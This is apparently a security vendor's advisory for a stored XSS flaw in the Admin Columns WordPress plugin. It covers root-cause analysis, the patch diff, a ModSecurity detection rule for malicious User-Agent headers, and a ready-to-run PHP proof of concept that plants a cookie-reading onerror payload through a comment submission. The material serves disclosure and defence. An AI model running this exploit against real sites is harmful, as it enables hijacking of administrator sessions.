Published : November 22, 2026

CVE-2026-120529: Admin Columns <= 7.1.7 Unauthenticated Stored Cross-Site Scripting via 'User-Agent' Header via comment_agent PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 7.1.7
Patched Version 7.1.8
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120529:
The Admin Columns plugin for WordPress, versions up to and including 7.1.7, contains an unauthenticated stored cross-site scripting (XSS) vulnerability via the HTTP_USER_AGENT header. The flaw resides in the comment agent column handling, where attacker-controlled comment_agent data is rendered without proper output escaping. Atomic Edge research assigns this a CVSS score of 7.2 (High).

Root Cause:
The vulnerability stems from insufficient sanitization and output escaping in the comment agent column. In classes/ColumnFactory/Comment/AgentFactory.php, the get_formatters() method adds a Property formatter for ‘comment_agent’ but fails to escape the output. The comment_agent value is populated from the HTTP_USER_AGENT header when a comment is submitted. Although a kses sanitization pass exists in classes/Sanitize/Kses.php, it uses wp_kses_allowed_html(‘post’) augmented with iframe[src] and the data: protocol. Because wp_kses_attr_check permits any data-* attribute on allowed tags without validating its value, a payload hidden inside a data-ac-tip attribute survives the kses filter. Later, assets/js/table.js assigns this value to innerHTML, causing execution.

Exploitation:
An unauthenticated attacker can submit a comment to any public post while setting a malicious User-Agent header. For example, a User-Agent like: Mozilla/5.0 would be stored as the comment_agent. When an administrator views the comments list in the WordPress admin, the Admin Columns plugin renders the comment agent column. The kses filter allows the data-ac-tip attribute to pass through, and the JavaScript assigns the unescaped value to innerHTML, executing the script in the admin’s browser.

Patch Analysis:
The patch introduces a new EscapeHtml formatter class in classes/Formatter/EscapeHtml.php, which implements the Formatter interface. Its format() method applies esc_html() to the value. In AgentFactory.php, the get_formatters() method now adds an instance of EscapeHtml after the Property formatter, ensuring the comment_agent output is HTML-escaped. This prevents any HTML or JavaScript from being interpreted by the browser. The plugin version is bumped to 7.1.8.

Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to session hijacking, creation of rogue administrative accounts, installation of malicious plugins, or full site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/codepress-admin-columns/classes/ColumnFactory/Comment/AgentFactory.php
+++ b/codepress-admin-columns/classes/ColumnFactory/Comment/AgentFactory.php
@@ -6,6 +6,7 @@

 use ACColumnBaseColumnFactory;
 use ACFormatterCommentProperty;
+use ACFormatterEscapeHtml;
 use ACFormatterCollection;
 use ACSettingConfig;

@@ -25,6 +26,7 @@
     {
         $formatters = parent::get_formatters($config);
         $formatters->add(new Property('comment_agent'));
+        $formatters->add(new EscapeHtml());

         return $formatters;
     }
--- a/codepress-admin-columns/classes/Formatter/EscapeHtml.php
+++ b/codepress-admin-columns/classes/Formatter/EscapeHtml.php
@@ -0,0 +1,19 @@
+<?php
+
+declare(strict_types=1);
+
+namespace ACFormatter;
+
+use ACFormatter;
+use ACTypeValue;
+
+class EscapeHtml implements Formatter
+{
+    public function format(Value $value): Value
+    {
+        return $value->with_value(
+            esc_html((string)$value)
+        );
+    }
+
+}
--- a/codepress-admin-columns/codepress-admin-columns.php
+++ b/codepress-admin-columns/codepress-admin-columns.php
@@ -4,7 +4,7 @@

 /*
 Plugin Name: Admin Columns
-Version: 7.1.7
+Version: 7.1.8
 Description: Add, reorder, and customize columns in your WordPress admin table for any post type, users, and media - no code required.
 Author: AdminColumns.com
 Author URI: https://www.admincolumns.com
@@ -44,7 +44,7 @@
 }

 define('AC_FILE', __FILE__);
-define('AC_VERSION', '7.1.7');
+define('AC_VERSION', '7.1.8');

 require_once ABSPATH . 'wp-admin/includes/plugin.php';

--- a/codepress-admin-columns/vendor/composer/autoload_classmap.php
+++ b/codepress-admin-columns/vendor/composer/autoload_classmap.php
@@ -373,6 +373,7 @@
     'AC\Formatter\Date\Timestamp' => $baseDir . '/classes/Formatter/Date/Timestamp.php',
     'AC\Formatter\DottedPassword' => $baseDir . '/classes/Formatter/DottedPassword.php',
     'AC\Formatter\EmptyValue' => $baseDir . '/classes/Formatter/EmptyValue.php',
+    'AC\Formatter\EscapeHtml' => $baseDir . '/classes/Formatter/EscapeHtml.php',
     'AC\Formatter\ExplodeToCollection' => $baseDir . '/classes/Formatter/ExplodeToCollection.php',
     'AC\Formatter\ExtendedValueLink' => $baseDir . '/classes/Formatter/ExtendedValueLink.php',
     'AC\Formatter\FallBack' => $baseDir . '/classes/Formatter/FallBack.php',
--- a/codepress-admin-columns/vendor/composer/autoload_static.php
+++ b/codepress-admin-columns/vendor/composer/autoload_static.php
@@ -417,6 +417,7 @@
         'AC\Formatter\Date\Timestamp' => __DIR__ . '/../..' . '/classes/Formatter/Date/Timestamp.php',
         'AC\Formatter\DottedPassword' => __DIR__ . '/../..' . '/classes/Formatter/DottedPassword.php',
         'AC\Formatter\EmptyValue' => __DIR__ . '/../..' . '/classes/Formatter/EmptyValue.php',
+        'AC\Formatter\EscapeHtml' => __DIR__ . '/../..' . '/classes/Formatter/EscapeHtml.php',
         'AC\Formatter\ExplodeToCollection' => __DIR__ . '/../..' . '/classes/Formatter/ExplodeToCollection.php',
         'AC\Formatter\ExtendedValueLink' => __DIR__ . '/../..' . '/classes/Formatter/ExtendedValueLink.php',
         'AC\Formatter\FallBack' => __DIR__ . '/../..' . '/classes/Formatter/FallBack.php',
--- a/codepress-admin-columns/vendor/composer/installed.php
+++ b/codepress-admin-columns/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace ACVendor;

-return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => 'eabaf2792cdf33c3dc49be7739ada0de4ebd093b', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('__root__' => array('pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => 'eabaf2792cdf33c3dc49be7739ada0de4ebd093b', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('pretty_version' => '6.4.0', 'version' => '6.4.0.0', 'reference' => 'ae0f1b3b03d8b29dff81747063cbfd6276246cc4', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/php-di', 'aliases' => array(), 'dev_requirement' => false), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '^1.0'))));
+return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => '388b9e63d1ea8f1487eafd50d454f5344b86afae', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('__root__' => array('pretty_version' => 'dev-main', 'version' => 'dev-main', 'reference' => '388b9e63d1ea8f1487eafd50d454f5344b86afae', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('pretty_version' => '6.4.0', 'version' => '6.4.0.0', 'reference' => 'ae0f1b3b03d8b29dff81747063cbfd6276246cc4', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/php-di', 'aliases' => array(), 'dev_requirement' => false), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '^1.0'))));

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-120529
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:20261205,phase:2,deny,status:403,chain,msg:'CVE-2026-120529 via comment_agent XSS',severity:'CRITICAL',tag:'CVE-2026-120529'"
  SecRule REQUEST_HEADERS:User-Agent "@rx (?:<|%3C).*?(?:onerror|onload|javascript:|data-ac-tip)" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120529 - Admin Columns <= 7.1.7 - Unauthenticated Stored Cross-Site Scripting via 'User-Agent' Header via comment_agent

$target_url = 'http://example.com'; // Change to target WordPress site
$post_id = 1; // ID of a public post

// Payload: XSS in User-Agent, hidden inside data-ac-tip attribute to bypass kses
$payload = 'Mozilla/5.0 <img src=x onerror=alert(document.cookie) data-ac-tip="<img src=x onerror=alert(document.cookie)>" >';

// Prepare comment data
$comment_data = [
    'comment_post_ID' => $post_id,
    'comment' => 'This is a test comment',
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => ''
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: ' . $payload,
    'Content-Type: application/x-www-form-urlencoded'
]);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 302 || $http_code == 200) {
    echo "Comment submitted successfully with malicious User-Agent.n";
    echo "The XSS will trigger when an admin views the comments list with the comment agent column.n";
} else {
    echo "Failed to submit comment. HTTP code: $http_coden";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.